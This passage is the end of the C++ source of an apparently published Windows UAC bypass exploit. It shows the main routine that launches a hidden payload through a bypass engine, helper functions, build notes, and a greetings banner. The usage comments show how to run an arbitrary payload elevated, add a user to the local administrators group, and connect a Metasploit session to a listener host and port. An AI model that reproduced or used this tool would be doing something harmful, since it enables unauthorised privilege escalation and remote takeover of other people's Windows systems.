                GetModuleFileName(nullptr, exePath, MAX_PATH);
                config.payloadPath = exePath;
            }
            
            config.arguments = command;
            config.hidden = true;
            config.waitForCompletion = false;
            
            if (engine.ExecuteBypass(config)) {
                printf("[SUCCESS] UAC bypass completed successfully\n");
            } else {
                printf("[FAILURE] UAC bypass failed\n");
                return 1;
            }
        }
        
        printf("[INFO] Operation completed\n");
        return 0;
        
    } catch (const std::exception& e) {
        printf("[FATAL] Exception: %s\n", e.what());
        return 1;
    }
}

// ==================== ADDITIONAL UTILITY FUNCTIONS ====================

std::wstring GetCurrentExecutablePath() {
    WCHAR path[MAX_PATH];
    DWORD len = MAX_PATH;
    if (!QueryFullProcessImageName(GetCurrentProcess(), 0, path, &len)) {
        printf("[ERROR] Querying process path: %d\n", GetLastError());
        throw std::runtime_error("Cannot get executable path");
    }
    return path;
}

std::wstring GetBasePath() {
    std::wstring exepath = GetCurrentExecutablePath();
    WCHAR path[MAX_PATH];
    HRESULT hr = PathCchCombine(path, MAX_PATH, exepath.c_str(), L"..");
    if (FAILED(hr)) {
        printf("[ERROR] Building base path: %08X\n", hr);
        throw std::runtime_error("Cannot build base path");
    }
    return path;
}

std::wstring GetUserName() {
    WCHAR buffer[100] = {};
    DWORD size = sizeof(buffer) / sizeof(buffer[0]);
    if (!GetUserName(buffer, &size)) {
        return L"Unknown";
    }
    return buffer;
}

// ==================== COMPILE-TIME CONFIGURATION ====================

/*
 * Build Instructions:
 * - Requires Windows SDK
 * - Link against: pathcch.lib, taskschd.lib, comsuppw.lib, rpcrt4.lib, advapi32.lib
 * - Unicode character set
 * - Multi-threaded runtime
 * 
 * Usage Examples:
 *   UACBypass.exe --payload C:\tools\payload.exe
 *   UACBypass.exe --cmd "net localgroup administrators user /add"
 *   UACBypass.exe --metasploit --payload payload.exe --lhost 192.168.1.100 --lport 4444
 */

// Entry point for different build configurations
#ifdef _CONSOLE
int main() {
    return wmain(__argc, __wargv);
}
#endif

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================